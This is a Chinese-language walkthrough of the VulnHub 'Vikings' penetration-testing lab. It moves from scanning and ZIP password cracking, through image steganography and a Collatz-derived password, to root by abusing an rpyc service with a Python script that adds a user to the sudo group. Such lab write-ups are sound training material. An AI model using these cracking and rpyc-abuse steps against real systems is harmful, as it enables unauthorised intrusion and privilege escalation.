VnlnHub Vikings
字数 1671 2025-08-11 23:26:41
VulnHub Vikings 靶场渗透测试教学文档
靶场概述
Vikings 是 VulnHub 上的一个渗透测试靶场,难度中等,涉及 Web 渗透、密码破解、隐写术、特权提升等多个安全测试环节。
靶场搭建
-
下载靶场文件:
- 下载地址:https://download.vulnhub.com/vikings/Vikings.ova
- 文件格式:OVA 虚拟机压缩文件
-
导入虚拟机:
- 使用 VMware 直接导入 OVA 文件
- 网络模式设置为 NAT 模式(也可使用桥接模式,但需与攻击机保持一致)
-
启动虚拟机:
- 启动后确认靶机正常运行
信息收集
-
确定靶机 IP:
- 扫描 NAT 网段(示例中攻击机 IP 为 128,靶机 IP 为 140)
-
端口扫描:
nmap -sV 192.168.1.140- 开放端口:
- 22/tcp - SSH 服务
- 80/tcp - HTTP 服务 (Apache 2.4.29)
- 开放端口:
Web 渗透
-
访问 Web 服务:
- 首页为静态页面,无明显线索
-
目录扫描:
- 发现
/war.txt文件 - 内容指向
/war-is-over目录
- 发现
-
分析 war-is-over 内容:
- 获取到一段 Base64 编码数据
- 使用 CyberChef 解码:
- 开头为 "PK" 标识,判断为 ZIP 文件
- 使用 Detect File Type 确认文件类型为 ZIP
-
处理 ZIP 文件:
- 将 Base64 解码后的数据保存为 ZIP 文件
- 尝试解压需要密码
-
密码破解:
- 使用 John the Ripper 爆破 ZIP 密码:
zip2john file.zip > hash.txt john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt - 成功获取密码:
ragnarok123
- 使用 John the Ripper 爆破 ZIP 密码:
-
解压文件:
- 解压后得到
king.jpeg图片文件
- 解压后得到
隐写分析
-
检查图片隐写:
- 使用 steghide 工具检测:
steghide info king.jpeg- 提示需要密码
- 使用 steghide 工具检测:
-
使用 binwalk 分析:
binwalk king.jpeg- 发现内嵌 ZIP 文件
-
提取隐藏文件:
binwalk -e --run-as=root king.jpeg- 提取出
userZIP 文件
- 提取出
-
解压 user 文件:
- 内容疑似 SSH 凭据:
FamousBoatbuilder_floki [密码内容] @vikings
- 内容疑似 SSH 凭据:
SSH 登录
-
尝试登录:
- 用户名尝试
floki(而非全名) - 使用提取的密码
- 登录成功
- 用户名尝试
-
系统信息收集:
- 发现
/etc/passwd中有三个可登录用户 - 发现
boat文件和readme.txt
- 发现
权限提升
-
分析 boat 文件提示:
- 关键信息:
- 可打印字符是盟友
- num 等于第 29 个质数
- 需要应用 Collatz 猜想(3n+1 猜想)
- 关键信息:
-
计算第 29 个质数:
- 编写 Python 代码计算:
n = 0 for i in range(1000): flag = 0 if i < 2: continue j = int(i/2) + 1 for k in range(2,j): if i % k == 0: flag = 1 break if flag == 0: n += 1 print("第",n,"个质数为",i) - 结果:第 29 个质数为 109
- 编写 Python 代码计算:
-
应用 Collatz 猜想:
- 编写 Python 代码:
n = 109 num = [] num.append(n) while n != 1: if n % 2 == 0: n =int(n / 2) else: n= int(3 * n + 1) if(n < 256): num.append(n) print(num) for i in num: j = chr(i) print(j,end='')
- 编写 Python 代码:
-
提取可打印字符:
- 使用 CyberChef 的 Strings 模块过滤可打印字符
- 移除换行符和空格
-
SSH 登录 ragnar 用户:
- 使用提取的密码成功登录
- 登录时自动执行了 sudo 命令
进一步提权
-
检查自动执行机制:
- 检查用户配置文件:
.bashrc.profile.bash_profile/etc/profile
- 在
.profile中发现自动执行了 Python 脚本
- 检查用户配置文件:
-
分析 Python 服务:
- 服务端以 root 权限运行
- 使用 rpyc 库(默认端口 18812)
-
利用 rpyc 服务提权:
- 编写 Python 脚本将 ragnar 加入 sudo 组:
import rpyc def shell(): import os os.system("sudo usermod -a -G sudo ragnar") conn = rpyc.classic.connect("localhost") fn = conn.teleport(shell) fn()
- 编写 Python 脚本将 ragnar 加入 sudo 组:
-
获取 root 权限:
- 重新 SSH 登录 ragnar
- 执行
sudo -l确认 sudo 权限 - 使用
sudo -s获取 root shell - 读取最终 flag
总结
本靶场涵盖的渗透测试技术:
- Web 目录扫描与敏感文件发现
- Base64 编码分析与文件类型识别
- ZIP 密码破解
- 图片隐写分析
- 数学算法在渗透测试中的应用
- Linux 用户配置文件利用
- RPyC 服务滥用提权
- Sudo 权限提升
关键点:
- 注意 Base64 解码后的文件头信息
- 密码爆破时选择合适的字典
- 数学提示需要准确理解并实现
- 自动执行机制是提权的关键突破口